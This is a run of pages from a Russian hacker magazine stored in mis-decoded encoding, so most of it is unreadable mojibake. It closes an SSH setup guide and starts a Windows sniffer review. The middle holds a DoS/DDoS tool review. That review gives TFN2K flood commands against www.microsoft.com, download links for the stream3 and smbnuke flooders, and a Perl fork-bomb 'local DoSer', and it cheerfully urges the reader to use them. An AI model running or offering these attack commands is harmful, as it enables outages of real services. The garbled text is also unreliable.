ïðàêòè÷åñêè íèãäå íå ïðèìåíÿåòñÿ,
äàëüíåéøåå ìîå ïîâåñòâîâàíèå áó-
äåò êàñàòüñÿ ïðîãðàìì âåðñèè ssh2.

Ñâîáîäíàÿ è êîììåð÷åñêàÿ ðåàëè-
çàöèè ssh2 ñîäåðæàò ïðàêòè÷åñêè
îäèíàêîâûé íàáîð ïðîãðàìì. Ïðè-
âåäó íåêîòîðûé ñïèñîê:

sshd - ñåðâåðíàÿ ÷àñòü (äåìîí),
çàïóñêàåìàÿ íà ñåðâåðå. Ïðîñëó-
øèâàåò ñîåäèíåíèÿ îò êëèåíòñêèõ
ìàøèí è ïðè óñòàíîâëåíèè ñâÿçè
ïðîèçâîäèò àóòåíòèôèêàöèþ è íà-
÷èíàåò îáñëóæèâàíèå êëèåíòà.

ssh - ïðîãðàììà êëèåíò, èñïîëüçó-
åìàÿ äëÿ âõîäà íà óäàëåííóþ ìà-
øèíó èëè äëÿ âûïîëíåíèÿ êîìàíä
íà äðóãîé ìàøèíå.

scp - ñåêðåòíîå êîïèðîâàíèå ôàé-
ëîâ ñ îäíîé ìàøèíû íà äðóãóþ.

ssh-keygen - èñïîëüçóåòñÿ äëÿ
ñîçäàíèÿ RSA êëþ÷åé ìàøèíû è
ïîëüçîâàòåëÿ (host keys and user
authentication keys).

ssh-agent - ïðîãðàììà àâòîìàòè-
çàöèè àóòåíòèôèêàöèè. Îíà ìîæåò
áûòü èñïîëüçîâàíà äëÿ õðàíåíèÿ â
ïàìÿòè êëþ÷åé äëÿ àóòåíòèôèêà-
öèè.

ssh-add - èñïîëüçóåòñÿ äëÿ ðåãè-
ñòðàöèè íîâûõ êëþ÷åé ñ àãåíòîì.

sftp - çàùèùåííûé êëèåíò ftp.
Ñåðâåðíàÿ ÷àñòü îáåñïå÷èâàåòñÿ
äåìîíîì sshd.

ÏÎÑÒÐÎÈÒÜ È ÍÀÑÒÐÎÈÒÜ!
Óñòàíîâêà êîììåð÷åñêîé âåðñèè
ssh2 îñîáûõ ïðîáëåì íå äîñòàâëÿ-

åò. Òû ñêà÷èâàåøü àðõèâ â óäîá-
íîì äëÿ òåáÿ ôîðìàòå, óñòàíàâëè-
âàåøü åãî è ïðèñòóïàåøü ê íàñò-
ðîéêå. Ïðîöåäóðó óñòàíîâêè ñâî-
áîäíîãî openssh òîæå ðàñïèñûâàòü
íåò îñîáîé íóæäû. Åñëè ó òåáÿ åñòü
îïûò ñàìîñòîÿòåëüíîé ñáîðêè è óñ-
òàíîâêè ïðèëîæåíèé Linux, openssh
òåáÿ íå èñïóãàåò. Îïÿòü æå áîëü-
øèíñòâî äèñòðèáóòèâîâ Linux
âêëþ÷àþò openssh â êîìïëåêò, òåáå
îñòàíåòñÿ ëèøü óñòàíîâèòü åãî.

Êàê áû òî íè áûëî, ïðè ðàáîòå ñ
ssh ó òåáÿ 100% âîçíèêíåò ðÿä âîï-
ðîñîâ. Îòâå÷àþ ñðàçó íà íåñêîëüêî.
Â îòëè÷èå îò telnet ïðè ðàáîòå ssh
ñîåäèíåíèå çàøèôðîâûâàåòñÿ ñðà-
çó ïîñëå ïîäêëþ÷åíèÿ êëèåíòà ê
ñåðâåðó. Àëãîðèòì øèôðîâàíèÿ RSA
íå òðåáóåò ñåêðåòíîñòè êëþ÷à äëÿ
øèôðîâàíèÿ. Ñåêðåòíûì äîëæåí
áûòü êëþ÷ äëÿ ðàñøèôðîâûâàíèÿ, à
îí âñåãäà îñòàåòñÿ íà ñòîðîíå ñåðâå-
ðà, è ïåðåõâàòèòü åãî íåâîçìîæíî.

Äëÿ óâåëè÷åíèÿ áåçîïàñíîñòè ñî-
åäèíåíèÿ ìîæíî íàñòðîèòü àóòåí-
òèôèêàöèþ ïîëüçîâàòåëÿ íà ñåð-
âåðå íå ïî ñèñòåìíîìó ïàðîëþ, à
ïî êëþ÷åâîé ôðàçå. Äëÿ ýòîãî òå-
áå íóæíî áóäåò ñãåíåðèðîâàòü ïà-
ðó êëþ÷åé: îòêðûòûé (ïóáëè÷íûé)
è ñåêðåòíûé (man ssh-keygen). Îòê-
ðûòûé êëþ÷ ìîæíî ðàñïðîñòðàíèòü
íà òå êëèåíòñêèå ðàáî÷èå ìåñòà, ñ

êîòîðûõ òû áóäåøü çàõîäèòü íà
ñåðâåð. È äëÿ openssh, è äëÿ ssh
ïðîöåäóðà ãåíåðèðîâàíèÿ è èñ-
ïîëüçîâàíèÿ êëþ÷åé ïðàêòè÷åñêè
îäèíàêîâà. Ðàçëè÷èÿ ëèøü â èìå-
íîâàíèÿõ ôàéëîâ è êàòàëîãîâ. Ïîä-
ðîáíåå îá ýòîì òû ìîæåøü ïðî-
÷åñòü â ìîåì ïåðåâîäå ðóêîâîä-
ñòâà ïî ssh ïî àäðåñó:
http://www.linux.ru.net/index.php?
module=library&action=show&doci
d=196&part=1849. Òàêæå î÷åíü
ìíîãî ðàñïèñàíî òóò -
http://www.opennet.ru/base/sec/la
vr-sssh.1.txt.html è òóò -
http://www.opennet.ru/docs/RUS/
ssh_faq/ssh-ffaqr.html#toc. Îáà
ýòèõ äîêóìåíòà ðàññêàæóò òåáå î
ïðèíöèïàõ ðàáîòû ssh è äàäóò
ïðàêòè÷åñêèé ìàòåðèàë.

Óñïåøíî óñòàíîâëåííûé è íàñò-
ðîåííûé ïàêåò íà ñåðâåðå äàñò òå-
áå âîçìîæíîñòü ðàáîòàòü òî÷íî òàê
æå, êàê åñëè áû òû èñïîëüçîâàë
telnet. Îùóùåíèå òîãî, ÷òî òû çà
êëàâîé, ïðîñòî ïîòðÿñàþùåå. Íà
ñêðèíå ïîêàçàí ïðîöåññ ñîåäèíå-
íèÿ ñ óäàëåííîé ìàøèíîé, íà êîòî-
ðîé ðàáîòàåò ssh-ñåðâåð.

Òàê êàê ìîé êëèåíò íè ðàçó äî
ýòîãî ñ ýòîé ìàøèíîé íå ñîåäèíÿë-
ñÿ, ñåðâåð ïðåäëîæèë ìíå ñâîé
îòêðûòûé êëþ÷ è ñïðîñèë, ïðîäîë-
æàòü ëè ìíå ñîåäèíåíèå. Îòâåòèâ
"ÄÀ", ÿ ñîõðàíèë êëþ÷. Ñ ýòîãî ìî-
ìåíòà ÊÀÆÄÛÉ ïåðåäàâàåìûé
ìíîé áàéò áóäåò øèôðîâàòüñÿ ýòèì
êëþ÷îì. Ïðè÷åì êëèåíòñêàÿ ïðîã-
ðàììà ýòî äåëàåò ñàìà. Òàê êàê ó
ìåíÿ íåò çàðàíåå ñãåíåðèðîâàííîé
ïàðû êëþ÷åé, òî ìíå ïðèøëîñü íà
ñåðâåðå ââîäèòü ñâîé ñèñòåìíûé
ïàðîëü. Êðîìå òîãî, íà ñåðâåðå ðà-
áîòàåò êîììåð÷åñêèé ssh, à íà êëè-
åíòå - openssh. Òàêèå âîò äåëà.

Íàäåþñü, ÷òî òåïåðü òû â êóðñå,
êàê ìîæíî ñèäåòü äîìà è áåçîïàñ-
íî ðóëèòü ñåðâåðàìè, êîòîðûå íà-
õîäÿòñÿ îò òåáÿ õðåí çíàåò çà
ñêîëüêî êèëîìåòðîâ. Ó÷èñü!

E
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Íåäîñòàòêè â
áåçîïàñíîñòè

ìîæíî îáîéòè,
åñëè øèôðî-

âàòü òðàôôèê
ìåæäó ñåðâåðîì

è êëèåíòîì.
Ñïåöèôèêàöèè

áåçîïàñíîãî
øåëëà (secure
shell) ïîä íàç-

âàíèåì ssh áû-
ëè îïóáëèêîâà-

íû â ñîîòâåò-
ñòâóþùåì rfc

Ñîâîêóïëÿåìñÿ ïî SSH



DoS! Îò ýòîãî ñëîâà ñîäðîãàþòñÿ áåòîííûå ñòåíû, à àäìèíû ïàäàþò â îáìîðîê. Ýòèì
ÿâëåíèåì èíòåðåñóþòñÿ âñå ñëóæáû êîìïüþòåðíîé áåçîïàñíîñòè, íî, íåñìîòðÿ íà ýòî,
DoS îñòàíîâèòü íåâîçìîæíî. Áîëåå òîãî, åãî òåõíîëîãèè ïîñòîÿííî ñîâåðøåíñòâóþòñÿ
è óñëîæíÿþòñÿ.

òî îòíþäü íå äîáðûé
äåäóøêà DOS, ïîðîæ-
äåííûé ïðàäåäóøêîé

Áèëëîì :), âñå íàìíîãî ñåðüåçíåå.
Çà DoS òû ìîæåøü ïîïëàòèòüñÿ
ðóáëåì è äàæå ëèøèòüñÿ ñâîáîäû.
Õî÷åøü óçíàòü ïî÷åìó? Òîãäà ÷è-
òàé äàëüøå!

×ÒÎ ÍÀÌ ÑÒÎÈÒ 
DDOS ÓÑÒÐÎÈÒÜ?
Áóäó êðàòîê. DoS ðàñøèôðîâûâàåò-
ñÿ êàê Denial Of Service, à DDoS �
Distributed Denial Of Service. Ïî-
ðóññêè ýòî áóäåò çâó÷àòü êàê "Îò-
êàç â îáñëóæèâàíèè" ("Ðàñïðåäå-
ëåííûé îòêàç â îáñëóæèâàíèè").
Îòêàç âûçûâàåòñÿ ïðèíóäèòåëüíî
ñî ñòîðîíû íåäîáðîæåëàòåëÿ. Ðàñ-
ñìîòðèì ïðèìåð: íà òà÷êå A óñòà-
íîâëåí FTP-ñåðâåð, êîòîðûì ïîëü-
çóåòñÿ ìíîãî ëþäåé. Â äðóãîì ïîëó-
øàðèè ïðîæèâàåò õàêåð Âàñÿ, êîòî-
ðîìó ïî êàêîé-ëèáî ïðè÷èíå íå
ïîíðàâèëñÿ FTP-ñåðâåð íà òà÷êå A.
Ïîýòîìó, èñïîëüçóÿ òà÷êó B è íå-
êóþ ïðîãðàììó C, îí äîëãî è óïîð-
íî ôëóäèò (ëüåò òîííû ìóñîðà)
FTP-ñåðâåð, ïîêà òîò íå ïåðåñòàíåò
óäîâëåòâîðÿòü æåëàíèÿ ñâîèõ êëè-
åíòîâ (íèêàêèõ ïîøëûõ ìûñëåé! ;)).
Ýòèì ñöåíàðèåì ìû êðàòêî îïèñàëè
ïðèíöèï DoS.

Îðãàíèçàöèÿ DDoS íå íàìíîãî îò-
ëè÷àåòñÿ îò âûøåîïèñàííîãî. Âñå
îòëè÷èå â òîì, ÷òî äëÿ ôëóäà çàáó-
ãîðíûõ ñåðâàêîâ èñïîëüçóåòñÿ íå
îäèí, à íåñêîëüêî ñåðâåðîâ (îòñþ-
äà è òåðìèí "Ðàñïðåäåëåííûé").
Êàê òû ïîíÿë, ïðîãðàììû äëÿ îðãà-
íèçàöèè DdoS ìîãóò îòëè÷àòüñÿ îò
ñîôòà äëÿ DoS, áîëåå òîãî, çàïóñ-
òèòü ïîòîê ôëóäà ìîæíî âñåãî îä-
íîé êîìàíäîé ñ ëþáîãî ñåðâåðà,
èáî ñîôò äëÿ óïðîùåíèÿ æèçíè õà-
êåðà åùå íå ïåðåâåëñÿ ;).

Ëþáîé âèä àòàêè ïîääàåòñÿ êëàñ-
ñèôèêàöèè. DoS íå èñêëþ÷åíèå.
Âîò äâà îñíîâíûõ êëàññà îòêàçà â
îáñëóæèâàíèè, êîòîðûå ìîãóò
èìåòü ìåñòî:

1. Çàáèâàíèå êàíàëà íà ñåðâåðå.
Ïîæàëóé, ñàìûé ëþáèìûé ñïîñîá
äëÿ õàêåðîâ. Òóò áîëüøîãî óìà íå

íàäî. Áåðåòñÿ ñåðâåð (èëè íåñêîëü-
êî ñåðâåðîâ) ñ áîëüøèì êàíàëîì,
íà êîòîðûõ çàïóñêàåòñÿ âðåäîíîñ-
íàÿ ïðîãðàììà. Ýòà ñîôòèíà øëåò
êó÷ó ìóñîðà íà ñåðâåð-æåðòâó, òåì
ñàìûì çàáèâàÿ åãî ïðîïóñêíóþ
ñïîñîáíîñòü. Åñëè îáùèé êàíàë
ôëóäåðà â íåñêîëüêî ðàç ïðåâûñèò
êàíàë æåðòâû, òî ñåðâåð ïîòåðÿåò
ñâÿçü ñ âíåøíèì ìèðîì äî ïðåêðà-
ùåíèÿ àòàêè.

2. Âûâåäåíèå ñåðâèñà èç ñòðîÿ.
Ïîìíèøü ïðèìåð ñ FTP-ñåðâåðîì?
Çàäà÷à õàêåðà áûëà óáèòü îòäåëü-

íóþ ñëóæáó. Äëÿ ýòîãî äåëà ñóùå-
ñòâóåò ìíîãî ñîôòà, êîòîðûé ìû
ðàññìîòðèì ÷óòü íèæå.

ÑÌÅÐÒÅËÜÍÛÉ ÑÎÔÒ
Ñàìàÿ âàæíàÿ ïðîáëåìà äëÿ íåäîá-
ðîæåëàòåëÿ � âûáîð ïðîãðàìì äëÿ
àòàêè. Ñ ó÷åòîì òîãî, ÷òî â Èíåòå èõ
ðàçâåëîñü âåëèêîå ìíîæåñòâî, ýòîò
âûáîð äîñòàòî÷íî ñëîæåí. Ðàññìîò-
ðèì íåñêîëüêî ïðîãðàìì ñ ðàçíûìè
çàäà÷àìè, ÷òîáû ìàêñèìàëüíî ÿðêî
îñâåòèòü âîçìîæíîñòè DoS. Âåñü
ñîôò áûë óñïåøíî îáêàòàí â ïðà-
âèëüíîé îñè, ïîýòîìó ðàáîòó ïîä
Âèíäîé ÿ íå ãàðàíòèðóþ (íî ôëó-
äèòü Ôîðòî÷êè îí áóäåò ñ óäîâîëü-
ñòâèåì ;)).

TFN2K � ÓÍÈÂÅÐÑÀËÜÍÛÉ
DDOS-ÅÐ
Èòàê, ïåðâàÿ ïðîãðàììà èç ìîåãî
îáçîðà � Tribe FloodNet. Óíèêàëü-
íîñòü ñåé ñîôòèíû â òîì, ÷òî ýòî
íå ÷òî èíîå, êàê ñðåäñòâî äëÿ
ìàñøòàáíîãî DDoS-èíãà. Ïðîãà ñîñ-
òîèò èç êëèåíòà è ñåðâåðà. Ñåðâåð
çàïóñêàåòñÿ íà çàðàæåííûõ (èëè
çîìáèðîâàííûõ) ìàøèíàõ è òèõî
æäåò ïðèêàçà ñî ñòîðîíû êëèåíòà.
Ïîñëå çàïóñêà êëèåíòà ñ íåõèòðû-
ìè ïàðàìåòðàìè âñåì ñåðâåðàì ïå-
ðåäàþòñÿ ââîäíûå äàííûå îò ïîëü-
çîâàòåëÿ. Çàòåì íà÷èíàåòñÿ ñáðîñ
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ÇÀDOSÈÌ ÂÑÅ, 
×ÒÎ ÄÂÈÆÅÒÑß!

Äîêó÷àåâ Äìèòðèé 
aka Forb (forb@real.xakep.ru)

Ý

Âûáåðè îäèí èç äåñÿòè óíèêàëüíûõ ïàðàìåòðîâ DDoS

ÎÁÇÎÐ ÑÎÔÒÀ ÄËß DOS 
ÀÒÀÊ Â ÏÐÀÂÈËÜÍÎÉ ÎÑÈ

DoS ðàñøèô-
ðîâûâàåòñÿ êàê
Denial Of
Service, à DDoS
- Distributed
Denial Of
Service. Ïî-ðóñ-
ñêè ýòî áóäåò
çâó÷àòü êàê
"Îòêàç â îáñëó-
æèâàíèè" è
"Ðàñïðåäåëåí-
íûé îòêàç â
îáñëóæèâàíèè"
ñîîòâåòñòâåííî

Òàáëèöà ïðî-
öåññîâ íå ðåçè-
íîâàÿ :), Çàïîë-
íÿÿ åå äî ïðå-
äåëà, ìû òåì
ñàìûì íàíåñåì
îãðîìíûé óðîí
ñèñòåìíûì ðå-
ñóðñàì ñåðâåðà



ìóñîðà íà ñåðâàê-æåðòâó. Êàê òû
ïîíèìàåøü, ÷åì áîëüøå çîìáè (à
ñîîòâåòñòâåííî è êàíàë íà ýòèõ
ñåðâåðàõ), òåì áîëüøå âåðîÿòíîñòü
óñïåøíîãî ôëóäà ìàøèíû.

Äëÿ çàïóñêà ñåðâåðà-äåìîíà îñî-
áîãî óìà íå íàäî. Ïðîñòî ñòàðòóé
áèíàðíèê td áåç ïàðàìåòðîâ. Ñ êëè-
åíòîì ñëîæíåå. Îí èìååò ðÿä îáÿ-
çàòåëüíûõ ïàðàìåòðîâ, êîòîðûå òû
äîëæåí óêàçàòü. Ê ïðèìåðó, ñòðîêà:

./tfn -P tcp -h 127.0.0.1 -i www.microsoft.com -c 4

áóäåò ôëóäèòü MicroSoft UDP-ïî-
òîêîì äàííûõ (ïàðàìåòð -c îáîçíà-
÷àåò òèï ôëóäà). Ýòîò ñëó÷àé ïðè-
ìåíèì, åñëè ñåðâåð óñòàíîâëåí íà
ëîêàëüíîé ìàøèíå. Â ñëó÷àå, åñëè
òû çàçîìáèðîâàë íåñêîëüêî ñåðâà-
êîâ è æåëàåøü, ÷òîáû îíè ïðèíè-
ìàëè ó÷àñòèå âî ôëóäå, íåîáõîäè-
ìî ñîñòàâèòü ñïèñîê ip-àäðåñîâ çà-
ðàæåííûõ ìàøèí è óïàêîâàòü èõ â
ôàéë (íàïðèìåð, hosts). Ïîñëå ýòî-
ãî êîìàíäóé:

./tfn -P tcp -f ./hosts -i www.microsoft.com -c 4
Âîò, äðóãîå äåëî! Ñåðâåð óøåë â

äàóí ;). È âñå áëàãîäàðÿ òâîåé íå-
áîëüøîé ñìåêàëêå è ñòàðàíèÿì ïî
çîìáèðîâàíèþ òà÷åê. Ïîðà áû óæ
ñìèëîñòèâèòüñÿ íàä Ìàéêðîñîôòîì
è ïðåêðàòèòü ôëóä. Ýòî ìîæíî ñäå-
ëàòü êîìàíäîé:

./tfn -P tcp -f ./hosts -i www.microsoft.com -c 0

òåì ñàìûì îòìåíèâ ëþáîé ôëóä
íà çàäàííûé ñåðâåð.

Åñëè çàïóñòèòü êëèåíò áåç ïàðà-
ìåòðîâ, òû ñìîæåøü óçíàòü âñå òè-
ïû ôëóäà (èõ 10) è âûáðàòü ñàìûé
îïòèìàëüíûé äëÿ òåáÿ =).

Ñêà÷àòü ýòîò DDoS-åð ìîæíî ïî
àäðåñó: http://packetstormsecuri-
ty.nl/distributed/tfn2k.tgz.

STREAM3.C � 
ÝÔÔÅÊÒÈÂÍÛÉ DOS-ÅÐ
Ñëåäóþùåé ïðîãðàììîé áóäåò ñîôòè-
íà îò 3APA3A (ÿ äóìàþ, òû çíàåøü,
êòî ýòîò ÷åëîâåê). Ýòîò ÄîÑ-åð ôëó-
äèò ñåðâåð FIN/ACK ïàêåòàìè, â ðå-
çóëüòàòå ýòîãî ôëóäà îí âïàäàåò â
äåïðåññèþ è íå îòâå÷àåò íà çàïðîñû.

Íî åñëè òâîé êàíàë ìàëåíüêèé, òî îò-
êàç â îáñëóæèâàíèè ïîíåñåøü òû èç-
çà äåéñòâèòåëüíî ìîùíîãî ïîòîêà
ôëóäà. DoS-åð, êàê òû íàâåðíîå ïî-
íÿë, íàïèñàí íà C. Â íåì íåò íè÷åãî
çàóìíîãî: ñòðóêòóðû ñîêåòîâ, ïîïûòêà
ñïóôà source ip è source port è áåñêî-
íå÷íûé öèêë îòïðàâêè ìóñîðà íà ñåð-
âåð-æåðòâó :), ïîñëå ÷åãî ñåðâåð ïîñ-
ëóøíî âïàäàåò â çèìíþþ ñïÿ÷êó.

Ýòîò ôëóäåð òàêæå ìîæåò áûòü
ïðèãîäåí è äëÿ DDoS. Òåáå ëèøü
íåîáõîäèìî çàïóñòèòü íåñêîëüêî
áèíàðíèêîâ îäíîâðåìåííî (íà ðàç-
íûõ øåëëàõ). Â ïàðàìåòðàõ stream3
òåáå íóæíî óêàçàòü ip-àäðåñ æåðò-
âû, ïîðò, ïîääåëüíûé ip-àäðåñ è
ïîääåëüíûé ïîðò (ïðè îïóñêàíèè
äâóõ ïîñëåäíèõ ïàðàìåòðîâ îíè áå-
ðóòñÿ ñëó÷àéíûì îáðàçîì).

Íà äàííûé ìîìåíò ó stream3 íåò
êîíêóðåíòîâ, ïîýòîìó îí ïîëüçóåò-
ñÿ îãðîìíîé ïîïóëÿðíîñòüþ â êðó-
ãó õàêåðîâ.

Ñëèâàåì ôëóäåð ñ ñàéòà ïðîèçâî-
äèòåëåé:
http://www.security.nnov.ru/files/s
tream3.c.
À ÄËß WINDOWS?
Åñëè òû âíèìàòåëüíî ÷èòàë òåîðèþ
DoS, òî ïîìíèøü, ÷òî ìîæíî ïðèíó-
äèòåëüíî îñòàíîâèòü îòäåëüíûå
ñåðâèñû è äëÿ ýòîãî íå íàäî óáè-
âàòü âåñü ñåðâåð. Ñëåäóþùåé ïðîã-
ðàììîé áóäåò ïîïóëÿðíûé smb-
nuke. ÄîÑ-åð ñòðåìèòñÿ âûâåñòè èç
ñòðîÿ âèíäîâûé ñåðâèñ SMB, ïðè-
÷åì äåëàåò ýòî äîâîëüíî óñïåøíî.
Ïîñûëàÿ êðèâûå ïàêåòû íà 139-é
ïîðò óäàëåííîé òà÷êè, íþêåð ïîë-
íîñòüþ óáèâàåò ñåðâèñ. Ïðè÷åì,
óÿçâèìîé ñèñòåìîé ÿâëÿåòñÿ íå
Win95 (êàê òû, íàâåðíîå, ïîäóìàë),
à íîâûå ñåðüåçíûå îïåðàöèîíêè:

Windows NT 4.0
Workstation/Server

Windows 2000
Professional/Advanced Server

Windows XP Professional/Home
edition.

Âçÿòü smbnuke ìîæíî îòñþäà:
http://packetstormsecurity.nl/DoS/
smbnuke.c.

ËÎÊÀËÜÍÛÉ DOS
Ñàìûì ëåãêèì ñïîñîáîì âûâîäà èç
ñòðîÿ ïðàâèëüíîé îñè ÿâëÿåòñÿ ëî-
êàëüíûé ôëóä. Ïðè÷åì äëÿ âûïîë-
íåíèÿ çàäà÷è íàì íå íóæíû root-
ïðàâà, âåäü àäìèíèñòðàòîðû ïðàê-
òè÷åñêè íèêîãäà íå ñòàâÿò ëèìèòû
íà ïðîöåññû îáû÷íûì þçåðàì ;).
Ýòèì íåäîñòàòêîì ìû è âîñïîëüçó-
åìñÿ. Çà÷åì ïîëüçîâàòüñÿ ÷óæèì
ñîôòîì (êîòîðîãî î÷åíü ìíîãî), äà-
âàé íàïèøåì ñâîé ïåðâûé ëîêàëü-
íûé DoS-åð. Äëÿ ýòîãî íàì ïîòðåáó-
åòñÿ ìèíèìàëüíîå çíàíèå ïðîãðàì-
ìèðîâàíèÿ (ê ïðèìåðó, ÿçûêà Perl).

Òàáëèöà ïðîöåññîâ íå ðåçèíîâàÿ
:). Çàïîëíÿÿ åå äî ïðåäåëà, ìû òåì
ñàìûì íàíåñåì îãðîìíûé óðîí ñèñ-
òåìíûì ðåñóðñàì ñåðâåðà (îñîáåí-
íî, åñëè êàæäûé ïîäïðîöåññ áóäåò
àêòèâíî êóøàòü ïàìÿòü ñåðâàêà).

Íàïèøåì ïðîñòåíüêóþ ïðîãðàììó,
êîòîðàÿ áóäåò ñîçäàâàòü áåñêîíå÷-
íîå ÷èñëî ïîòîìêîâ. Ïîòîìêè, â ñâîþ
î÷åðåäü, áóäóò çàïóñêàòü êàêîå-ëèáî
ðåñóðñîåìêîå ñèñòåìíîå ïðèëîæåíèå
(íàïðèìåð, ping localhost ;)).

Ñîçäàíèå ïîòîìêà â Perl ïðîèñõî-
äèò â òî÷íîñòè, êàê è â Ñè. Íî íå
áóäåì óòðóæäàòü ñåáÿ òåîðèåé, à
ïåðåéäåì ñðàçó ê êîäèíãó:

#!/usr/bin/perl
print "Local DoSer by Xakep SPEZ
started!\n"; ## Íàì íå ïðîæèòü áåç ðåêëàìû ;).
while(1) {    ## Óõîäèì â áåñêîíå÷íûé öèêë
unless($pid=fork()) {    ## Ñîçäàåì ïîòîìîê
system("ping localhost");      ## È âðóáàåì
ïèíãîìåò

}
}

Âñå! Ñîôòèíà ãîòîâà! Çàïóñòè åå â
áýêãðàóíä è ñêàæè ñåðâåðó: "Äî
ñâèäàíèÿ!" :). Ïðè îòñóòñòâèè ëèìè-
òîâ íà ïðîöåññû åìó ïîìîæåò òîëü-
êî ðåáóò.

THE FINAL CHORD
Âîò è âåñü îáçîð. Ïîâåðü, ÿ ñòàðàë-
ñÿ îõâàòèòü âñå ñòîðîíû òåìíîãî
ìèðà DoS è DDoS, óêàçàâ îñíîâíûå
òèïû ñîôòà äëÿ ôëóäà. Õîòÿ ôëóä
ìîæíî ñîâåðøèòü áåç ïîäðó÷íûõ
ñðåäñòâ, îáû÷íûì ping'îì, çàïóñòèâ
åãî ñ ôëàãîì -f (çàïðåùåíèå ôðàã-
ìåíòàöèè ïàêåòîâ), òåì ñàìûì óðî-
íèâ ñåðâåð áåñêîíå÷íûìè ICMP-
çàïðîñàìè. Åñëè òû äðóæèøü ñ
ÿçûêàìè ïðîãðàììèðîâàíèÿ, òî äëÿ
òåáÿ íå ñîñòàâèò òðóäà íàïèñàòü
ñâîé ÄîÑ-åð, êîòîðûé áóäåò ïîëè-
âàòü ãðÿçüþ ìíîæåñòâî ìàøèí. Êàê
ãîâîðèòñÿ, áûëî áû æåëàíèå, à îñ-
òàëüíîå ïðèëîæèòñÿ...
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Êàê òû ïîíè-
ìàåøü, ÷åì

áîëüøå òà÷åê-
çîìáè (à ñîîò-

âåòñòâåííî è
êàíàë íà ýòèõ

ñåðâåðàõ), òåì
áîëüøå âåðî-

ÿòíîñòü óñ-
ïåøíîãî ôëó-

äà ìàøèíû

Ïîñûëàÿ êðè-
âûå ïàêåòû íà

139-é ïîðò
óäàëåííîé

òà÷êè, íþêåð
ïîëíîñòüþ

óáèâàåò ñåð-
âèñ. Ïðè÷åì

óÿçâèìîé ñèñ-
òåìîé ÿâëÿåò-

ñÿ íå Win95
(êàê òû, íà-

âåðíîå, ïîäó-
ìàë), à XP è

äâóõòûñÿ÷íèê

Stream3 � ñàìûé ëó÷øèé DoS-åð

Êëàäåì âèíäîâûé smbd ;)

Îãðàíè÷èìñÿ ëèøü ïðîâåðêîé íà ñèíòàêñèñ ;)

Íà ñàìîì äåëå ïðîãðàìì äëÿ îðãàíèçàöèè DoS âåëèêîå ìíîæåñòâî. Îã-
ðîìíûé àðõèâ òàêîãî ñîôòà òû ìîæåøü íàéòè ïî ññûëêå:
http://www.packetstormsecurity.nl/DoS/.

Â òèõîì îìóòå DOS-åðû âîäÿòñÿ
S O F T



Òâîé çëîáíûé ñîñåä-ëèíóêñîèä ìåðçêî ïîòèðàåò ðóêè, çàïóñòèâ êàêîé-íèáóäü SniffIt ó
ñåáÿ íà êîìïå. Ñêîðî â åãî ðàñïîðÿæåíèè îêàæóòñÿ òâîÿ ïî÷òà, àñüêà, íèê íà èðêå, à
ìîæåò è ÷òî-òî áîëåå ñåðüåçíîå. Ïðèøëà ïîðà ìåñòè :)!

åáå íå îáÿçàòåëüíî
ñòàâèòü ïðàâèëüíóþ
îñü, äëÿ òîãî ÷òîáû

ìîíèòîðèòü òðàôôèê, õîðîøèå
ñíèôôåðû åñòü è äëÿ îêîøåê :).

PACKET CAPTURE LIBRARY
Òàê óæ ñëîæèëîñü, ÷òî Âèíäû ñ ñà-
ìîãî íà÷àëà ðàçâèâàëèñü êàê ÷èñòî
ïîëüçîâàòåëüñêàÿ ñèñòåìà. Î õîðî-
øåé ðàáîòå â ñåòÿõ, âèäèìî, íå çàäó-
ìûâàëèñü. È äàæå ñ âûõîäîì ïåðâîé
NT íè÷åãî ñèëüíî íå èçìåíèëîñü.
Êàêàÿ ðàáîòà ñ ïàêåòàìè? Âû ÷òî! Ó
íàñ äàæå íîðìàëüíîãî ñòåêà TCP/IP
íåò :). À ó Unix áûëà àðõèòåêòóðà
Berkley packet filter, êîòîðàÿ ïîçâî-
ëÿëà íà óðîâíå ßÄÐÀ ðàáîòàòü ñ ïà-
êåòàìè. Ñëàâà Áîãó, Unix-ñèñòåì ìíî-
ãî è íå ó âñåõ åñòü àðõèòåêòóðà BPF
:). Äëÿ îñòàëüíûõ ñèñòåì (â òîì ÷èñ-
ëå è äëÿ áîëüøèíñòâà ðåàëèçàöèé
Linux) áûëà ñîçäàíà àðõèòåêòóðà
PCAP, êîòîðàÿ òîæå ïîçâîëÿëà óñ-
ïåøíî ðàáîòàòü ñ ïàêåòàìè, íî óæå
íà ïîëüçîâàòåëüñêîì óðîâíå (à âû-
ïîëíåíà îíà áûëà óæå â âèäå äðàé-
âåðîâ). Ñîâìåñòèìîñòü òåõíîëîãèé
îáåñïå÷èâàëà îáùàÿ áèáëèîòåêà
Libcap, ñ êîòîðîé íåïîñðåäñòâåííî
ðàáîòàëè ïðèëîæåíèÿ. Íî âåäü äðàé-
âåð è áèáëèîòåêó ìîæíî ïåðåíåñòè
íà äðóãóþ ñèñòåìó, ïðàâäà :)? Òàê ïî-
ÿâèëàñü áèáëèîòåêà WinPcap, ïîçâî-
ëÿþùàÿ ðåàëèçîâàòü ìíîæåñòâî íå-
äîñòóïíûõ ðàíåå ôóíêöèé, â òîì
÷èñëå è íàïèñàíèå ñíèôôåðîâ. Ñðà-
çó æå ïîÿâèëèñü ïîðòû ïîïóëÿðíûõ
nix-ñíèôôåðîâ, íà÷àëè ïîÿâëÿòüñÿ
è ÷èñòî âèíäîâûå ðàçðàáîòêè. Ìíî-
ãèå èç íèõ óæå íå òðåáóþò äëÿ ðàáî-
òû WinPcap, îäíàêî âñå æå ñîâåòóþ
ñêà÷àòü åå ñ winpcap.polito.it. Êà÷àòü
íàäî âåðñèþ íå ìëàäøå 2.3, à åñëè ó
òåáÿ ìóëüòèïðîöåññîðíàÿ ñèñòåìà
(íó ìàëî ëè :)) èëè íîâîìîäíûé ïåíü
ñ òåõíîëîãèåé Hyper-Threading, òî
êà÷àé 3.0 (îíà êàê ðàç íå î÷åíü äàâ-
íî çàôèíàëèëàñü). Íó, ñ òåîðèåé çà-
êîí÷èëè, ïåðåéäåì ê ïðîãàì.

IRIS
www.eeye.com

Íà ìîìåíò íàïèñàíèÿ ñòàòüè ñàìàÿ
ñâåæàÿ âåðñèÿ áûëà çà íîìåðîì 4.06.

Ñ ñàéòà ìîæíî ñêà÷àòü òîëüêî äåìîí-
ñòðàöèîííóþ âåðñèþ. Ïðèøëîñü íåì-
íîãî ïîêîïàòüñÿ â ñåòè :). Êñòàòè, ëè-
öåíçèîííûé êëþ÷ ïðîãà ïðîâåðÿåò
ïðè êàæäîì çàïóñêå â Èíåòå: ñîâåòóþ
